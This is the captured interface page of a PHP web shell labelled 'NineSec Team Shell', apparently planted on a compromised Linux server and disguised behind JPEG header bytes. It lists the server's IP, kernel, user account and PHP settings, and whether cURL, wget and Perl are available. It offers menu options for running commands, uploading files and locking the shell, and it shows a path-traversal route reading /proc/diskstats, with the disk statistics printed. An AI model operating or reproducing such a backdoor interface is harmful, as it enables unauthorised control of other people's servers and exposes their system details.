�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0) :  /home/../lib/../etc/ppp/../python3.8/../apache2/../ssl/../../../../proc/22768/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../lib/../etc/ppp/../python3.8/../apache2/../ssl/../../../../proc/22768/../diskstats
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      16 sdb 4909856 3189443 222322638 180633452 12230182 15203770 659943030 116168130 0 33577848 321229726 0 0 0 0 2436837 24428143
   8      17 sdb1 64 0 4047 349 3 0 17 36 0 343 386 0 0 0 0 0 0
   8      18 sdb2 63 0 4168 292 23 8 168 1071 0 954 1364 0 0 0 0 0 0
   8      19 sdb3 2443 2261 333856 37645 397117 61453 5894504 4775510 0 2849493 4813156 0 0 0 0 0 0
   8      20 sdb4 4290655 3140111 59454752 116451638 4900350 7843590 101951520 37116858 0 19854995 153568497 0 0 0 0 0 0
   8      21 sdb5 616531 47071 162520535 64142402 6932689 7298719 552096821 74274653 0 29880186 138417056 0 0 0 0 0 0
   8       0 sda 2162377 69889 246914828 61621338 7331497 7358515 557991510 46839909 0 21239852 124259367 0 0 0 0 2455714 15798119
   8       1 sda1 393 0 19937 1189 3 0 17 61 0 1186 1251 0 0 0 0 0 0
   8       2 sda2 219 34 11130 829 23 8 168 556 0 1160 1386 0 0 0 0 0 0
   8       3 sda3 14791 2867 1202082 118551 397374 61196 5894504 2602911 0 1601998 2721462 0 0 0 0 0 0
   8       4 sda4 126 0 9632 636 0 0 0 0 0 609 636 0 0 0 0 0 0
   8       5 sda5 2146635 66988 245664936 61498897 6934097 7297311 552096821 44236379 0 22852156 105735276 0 0 0 0 0 0
   8       6 sda6 123 0 2663 311 0 0 0 0 0 287 311 0 0 0 0 0 0
   9       1 md1 386 0 16984 1091 1 0 1 1 0 1055 1092 0 0 0 0 0 0
   9       2 md2 230 0 9666 711 20 0 160 483 0 988 1194 0 0 0 0 0 0
   9       3 md3 22275 0 1530298 223987 398595 0 5849248 5163906 0 2514493 5387893 0 0 0 0 0 0
   9       5 md5 2877110 0 408179797 161498654 12584545 0 550116982 413878346 0 28126588 575377000 0 0 0 0 0 0

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options

NineSec Team - 2022